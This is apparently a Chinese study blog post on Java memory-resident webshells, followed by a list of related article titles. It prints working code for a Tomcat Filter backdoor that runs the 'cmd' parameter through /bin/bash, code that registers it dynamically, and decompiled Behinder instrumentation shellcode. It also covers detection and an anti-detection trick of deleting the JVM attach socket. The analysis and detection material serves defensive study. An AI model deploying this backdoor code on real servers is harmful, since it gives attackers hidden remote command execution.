1.前置知识

Java Web三大组件

Servlet

Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。

Filter

Filter也称之为过滤器,可以动态地修改HttpServletRequest,HttpServletResponse中的头和数据。

Listener

Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。

2.内存马检测难点

内存马的类型众多

根据不同的脚本类型,存在各种触发机制不同的内存马,没有稳定的静态特征,易于混淆,常规的WAF安全产品难以检测。

内存马的存在形式

内存马仅存在于进程的内存空间中,系统层面的安全检测工具无法检测出内存马。

3.内存马实现方式

3.1利用Java Web组件

1.利用Servlet、Filter、Listener实现内存马,我们需要两个条件,一是动态创建对象,二是能将创建的对象注册到HTTP的处理流中生效。在Servlet3.0中,ServletContext提供了动态创建Servlet、Filter、Listener的方法。

public interface ServletContext {
...
FilterRegistration.Dynamic addFilter(String filterName,String className)
FilterRegistration.Dynamic addFilter(String filterName,Filter filter)
FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)
Dynamic addServlet(String var1, String var2);
Dynamic addServlet(String var1, Servlet var2);
Dynamic addServlet(String var1, Class<? extends Servlet> var2);
void addListener(String var1);
<T extends EventListener> void addListener(T var1);
void addListener(Class<? extends EventListener> var1);
}

ApplicationContext 类是 ServletContext 的实现类,实现了 ServletContext 中的addFilter 方法,用于向属性中的StandardContext实例添加filterDef。利用StandardContext,我们就能够动态创建Servlet、Filter、Listener,实现内存马了。

下面以Filter为例分析内存马的创建方式,Servlet和Listener的实现方式较为类似,就不再重复。1.首先我们需要能够获取到StandardContext。在JSP环境中我们可以直接通过request对象就可以获取到。在其他类型的环境中,也有相应的姿势可以获取到StandardContext对象。

ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx); f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);

2.创建一个恶意的Filter,其核心功能就是一个能够解析攻击者请求的参数,实现命令执行的后门程序。

Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
} @Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
// TODO Auto-generated method stub
HttpServletRequest req = (HttpServletRequest)arg0;
if (req.getParameter("cmd") != null) {
byte[] data = new byte[1024];
Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
int len = p.getInputStream().read(data);
p.destroy();
arg1.getWriter().write(new String(data, 0, len));
return;
}
arg2.doFilter(arg0, arg1);
} @Override
public void destroy() {
// TODO Auto-generated method stub
}
};

3.将该Filter注册到HTTP的处理流中生效。

FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter); standardCtx.addFilterDef(filterDef); FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/*");
standardCtx.addFilterMapBefore(m);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef); filterConfigs.put(name, filterConfig);

此类型的内存马有着以下两个较为明显的特征:

特征1:class 实现 javax.servlet.Filter,javax.servlet.Listener,javax.servlet.Servlet等接口。

特征2:包含ProcessBuilder,Runtime等Webshell常用的命令执行危险操作。

3.2Instrument内存马

Instrument机制在给我们分析修改JVM进程带来便利的同时,也为内存马的隐藏提供了很好的手段。常见的冰蝎[4],哥斯拉[5]内存马都提供Instrument注入的方式。我们以冰蝎的内存马来分析Instrument注入的实现方式。通过对冰蝎的jar包进行逆向分析可以发现,冰蝎内存马的代码位于net.rebeyond.behinder.payload.java.MenShell类中。

基于Instrument的Agent,入口函数是agentmain。分析agentmain方法中实现的逻辑,可以发现大致分为以下3步:

1.确定需要hook的类与方法,可以看出主要hook的都是与Servlet相关的类的service方法。

javax.servlet.http.HttpServletRequest request = (javax.servlet.ServletRequest) $1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse) $2;
javax.servlet.http.HttpSession session = request.getSession();
String pathPattern = "%s";
if (request.getRequestURI().matches(pathPattern)) {
java.util.Map obj = new java.util.HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
ClassLoader loader = this.getClass().getClassLoader();
if (request.getMethod().equals("POST")) {
try {
String k = "%s";
session.putValue("u", k); java.lang.ClassLoader systemLoader = java.lang.ClassLoader.getSystemClassLoader();
Class cipherCls = systemLoader.loadClass("javax.crypto.Cipher"); Object c = cipherCls.getDeclaredMethod("getInstance", new Class[]{String.class}).invoke((java.lang.Object) cipherCls, new Object[]{"AES"});
Object keyObj = systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class, String.class}).newInstance(new Object[]{k.getBytes(), "AES"});
; java.lang.reflect.Method initMethod = cipherCls.getDeclaredMethod("init", new Class[]{int.class, systemLoader.loadClass("java.security.Key")});
initMethod.invoke(c, new Object[]{new Integer(2), keyObj}); java.lang.reflect.Method doFinalMethod = cipherCls.getDeclaredMethod("doFinal", new Class[]{byte[].class});
byte[] requestBody = null;
try {
Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");
Object Decoder = Base64.newInstance();
requestBody = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
} catch (Exception ex) {
Class Base64 = loader.loadClass("java.util.Base64");
Object Decoder = Base64.getDeclaredMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
requestBody = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
} byte[] buf = (byte[]) doFinalMethod.invoke(c, new Object[]{requestBody});
java.lang.reflect.Method defineMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, java.nio.ByteBuffer.class, java.security.ProtectionDomain.class});
defineMethod.setAccessible(true);
java.lang.reflect.Constructor constructor = java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});
constructor.setAccessible(true);
java.lang.ClassLoader cl = (java.lang.ClassLoader) constructor.newInstance(new Object[]{loader});
java.lang.Class c = (java.lang.Class) defineMethod.invoke((java.lang.Object) cl, new Object[]{null, java.nio.ByteBuffer.wrap(buf), null});
c.newInstance().equals(obj);
} catch (java.lang.Exception e) {
e.printStackTrace();
} catch (java.lang.Error error) {
error.printStackTrace();
}
return;
}
}

2.将shellcode插入到需要hook的方法之前

Class[] var28 = cLasses;
int var13 = cLasses.length; for (int var14 = 0; var14 < var13; ++var14) {
Class cls = var28[var14];
if (targetClasses.keySet().contains(cls.getName())) {
String targetClassName = cls.getName(); try {
String path = new String(base64decode(args.split("\\|")[0]));
String key = new String(base64decode(args.split("\\|")[1]));
shellCode = String.format(shellCode, path, key);
if (targetClassName.equals("jakarta.servlet.http.HttpServlet")) {
shellCode = shellCode.replace("javax.servlet", "jakarta.servlet");
} ClassClassPath classPath = new ClassClassPath(cls);
cPool.insertClassPath(classPath);
cPool.importPackage("java.lang.reflect.Method");
cPool.importPackage("javax.crypto.Cipher");
List paramClsList = new ArrayList();
Iterator var21 = ((List) ((Map) targetClasses.get(targetClassName)).get("paramList")).iterator(); String methodName;
while (var21.hasNext()) {
methodName = (String) var21.next();
paramClsList.add(cPool.get(methodName));
} CtClass cClass = cPool.get(targetClassName);
methodName = ((Map) targetClasses.get(targetClassName)).get("methodName").toString();
CtMethod cMethod = cClass.getDeclaredMethod(methodName, (CtClass[]) paramClsList.toArray(new CtClass[paramClsList.size()]));
// 关键步骤,修改字节码,将shellcode插入到方法前调用
cMethod.insertBefore(shellCode);
cClass.detach();
data = cClass.toBytecode();
// 调用Instrumentation对象,将修改生效
inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(cls, data)});
} catch (Exception var24) {
var24.printStackTrace();
} catch (Error var25) {
var25.printStackTrace();
}
}
}

至此,已经成功将Java进程中的Servlet类修改,所有的请求都会经过内存马的代码,攻击者构造特定格式的POST请求就会进入内存马的代码逻辑中,执行恶意请求。正常业务的数据格式不满足内存马数据格式要求,会跳过内存马的逻辑,因此并不会影响原始业务,大大增加内存马的隐蔽性。

特征:该方式不会生成新的Servlet,Filter,Listener对象,因此隐蔽性更强。美中不足的是,需要生成Agent文件落地,有可能会被IDS文件检测检测到Agent。

4.Java Servlet 内存马检测

4.1Java Servlet 内存马攻击原理

​客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,而内存马利用在请求过程中在内存中修改或动态注册新的组件,达到注入Webshell的目的。

Java Servlet 内存马检查方式

使用工具Arthas发现内存马,Arthas是一款开源的Java诊断工具,基本使用场景是定位复现一些生产环境比较难以定位问题。可以在线排查问题,以及动态追踪Java代码,实时监控JVM状态等等。

java -jar .\arthas-boot.jar #java应用进程PID,如下图:

输入Mbean 查看或监控 Mbean 的属性信息,根据哥斯拉内存马的特性,进行筛选出异常组件,如下图:

使用cop.jar工具提取Java内存马。把工具放在网站根目录下,输入:java -jar cop.jar -p,如下图:

使用D盾工具对.copagent目录进行查杀

4.2基于Instrument的Agent检测

我们可以同样利用Java 的Instrument机制,动态注入我们的检测Agent,获取JVM中所有加载的Class的数据,针对内存马可疑的特征,让隐藏的内存马现出原型。

首先,我们需要分析常见的内存马存在的一些可疑的特征。根据上面两种类型的内存马,我们大致可以总结出以下几个可疑特征:

1.继承可能实现Webshell接口,例如Servlet,Filter,Listener,Interceptor

• javax.servlet.http.HttpServlet
• org.springframework.web.servlet.handler.AbstractHandlerMapping
• javax.servlet.Filter
• javax.servlet.Servlet
• javax.servlet.ServletRequestListener
•…

2.名字:内存马的Filter名可能包含shell等关键字

3.特殊classloader加载:查看classloader是不是Templates或bcel等

4.使用风险注解

5.对比web.xml中没有Filter配置(这点在Spring之类的动态注入框架中不生效)

6.对应的ClassLoader路径下没有class文件:检测Filter对应的ClassLoader目录下是否存在class文件

7.常见已知的Webshell包名

net.rebeyond.
com.metasploit.

检测步骤大致如下:

1.Attach 检测jar包到JVM进程

2.获取JVM中已经加载的class列表

3.根据以上可疑特征将可疑的class反编译为Java源码

4.根据源码检测Webshell

优点:只在检测的过程中存在资源的消耗,不会对系统进行修改,对系统的影响较小。

缺点:针对恶意代码的分析,如果恶意代码不是存在于该可疑的类中,而是通过多层的调用链调用的,分析的难度将大大增加,针对单个class的分析将无法有效的检测出。需要对调用链上的所有的类的方法函数进行分析,只要调用链中的任何一个类存在可疑的代码,就标记为风险。但这样也会增加检测的资源消耗,降低检测效率。并且,这是一种事后的检测,内存马可能已经在系统中存在一定的时间。

5.内存马的防检测

有查杀,内存马就有反查杀,冰蝎内存马在Behinder_v3.0 Beta 10中就开始添加了防检测的功能。

防检测思路:

VM进程之间的通信,靠的就是目标进程暴露出来的socket文件。防检测原理,就是删除JVM进程对外暴露的.java_pidxxxx socket文件,阻止和JVM进程通信,从而禁止Agent加载。Agent无法注入,自然就无法检测内存马了。

防检测实现方式:

1.在目标JVM进程中, 重启AttachListener,重新创建socket文件。

2.在目标JVM进程,创建LinuxAttachOperation到队列中,完成load Agent的操作。

Java内存马的学习总结的更多相关文章

  1. Java Filter型内存马的学习与实践

    完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html 这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马 内存马 ...

  2. 简单学习java内存马

    看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...

  3. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  4. 针对spring mvc的controller内存马-学习和实验

    1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...

  5. tomcat内存马原理解析及实现

    内存马 简介 ​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...

  6. 利用shiro反序列化注入冰蝎内存马

    利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...

  7. 【原创】Java内存攻击技术漫谈

    前言 Java技术栈漏洞目前业已是web安全领域的主流战场,随着IPS.RASP等防御系统的更新迭代,Java攻防交战阵地已经从磁盘升级到了内存里面. 在今年7月份上海银针安全沙龙上,我分享了< ...

  8. Java安全之反序列化回显与内存马

    Java安全之反序列化回显与内存马 0x00 前言 按照我个人的理解来说其实只要能拿到Request 和 Response对象即可进行回显的构造,当然这也是众多方式的一种.也是目前用的较多的方式.比如 ...

  9. Java安全之基于Tomcat的Filter型内存马

    Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...

  10. JVM学习(3)——总结Java内存模型

    俗话说,自己写的代码,6个月后也是别人的代码……复习!复习!复习!涉及到的知识点总结如下: 为什么学习Java的内存模式 缓存一致性问题 什么是内存模型 JMM(Java Memory Model)简 ...

随机推荐

  1. ProxySQL查看所有的全局变量及更新操作

    mysql> select * from global_variables; +--------------------------------------------------------- ...

  2. Kibana控制台(Dev Tools) Console

    控制台插件提供一个用户界面来和 Elasticsearch 的 REST API 交互.控制台有两个主要部分: editor ,用来编写提交给 Elasticsearch 的请求: response ...

  3. 2_JDBC

    一. 引言 1.1 如何操作数据库 使用客户端工具访问数据库, 需要手工建立连接, 输入用户名和密码登陆, 编写SQL语句, 点击执行, 查看操作结果(结果集或受行数影响) 1.2 实际开发中, 会采 ...

  4. Linux 宝塔部署 ASP.NET Core 应用

    第一步,发步应用 我这是一个API 应用和 MVC 应用 设置,服务器上要运行的端口 API 端口5000 MVC 端口5001 打包文件夹,发步 1.桌面新建俩个文件夹 2.右键项目发步,选中iis ...

  5. Tubian0.43,完善对QQ微信的支持

    Sourceforge.net下载:https://sourceforge.net/projects/tubian/ 123网盘下载: https://www.123pan.com/s/XjkKVv- ...

  6. css3_媒介查询

    !!!做媒介查询页面大小时,一定要加: <meta name="viewport" content="width=device-width, initial-sca ...

  7. PHP全栈开发:在本机上创建虚拟主机与域名

    如何在windows+wamp环境上进行自己创建的网站的域名访问 step 1 在wamp的安装目录,如C:\wamp64\www\下创建自己的网站目录pe step 2 右键wamp图标,在wamp ...

  8. 微信DAT文件转JPG图片(图片恢复)

    微信电脑版现在已经是日常工作生活必不可少的工具,有时候删除了聊天记录或者被系统清理软件清理了,但还想查看曾经的微信聊天图片. 这个时候辛辛苦苦找到了文件,却发现无法查看,因为微信电脑版为了保护我们的隐 ...

  9. 华为设备配置Stelnet命令

    配置SSH server:rsa local-key-pair create 生成本地RSA主机密钥对 display rsa local-key-pair public 查看本地密钥对中的公钥信息 ...

  10. IDEA快速生成数据库表的实体类

    IDEA连接数据库 IDEA右边侧栏有个DataSource,可以通过这个来连接数据库,我们先成功连接数据库 点击进入后填写数据库进行连接,注意记得一定要去Test Connection 确保正常连接 ...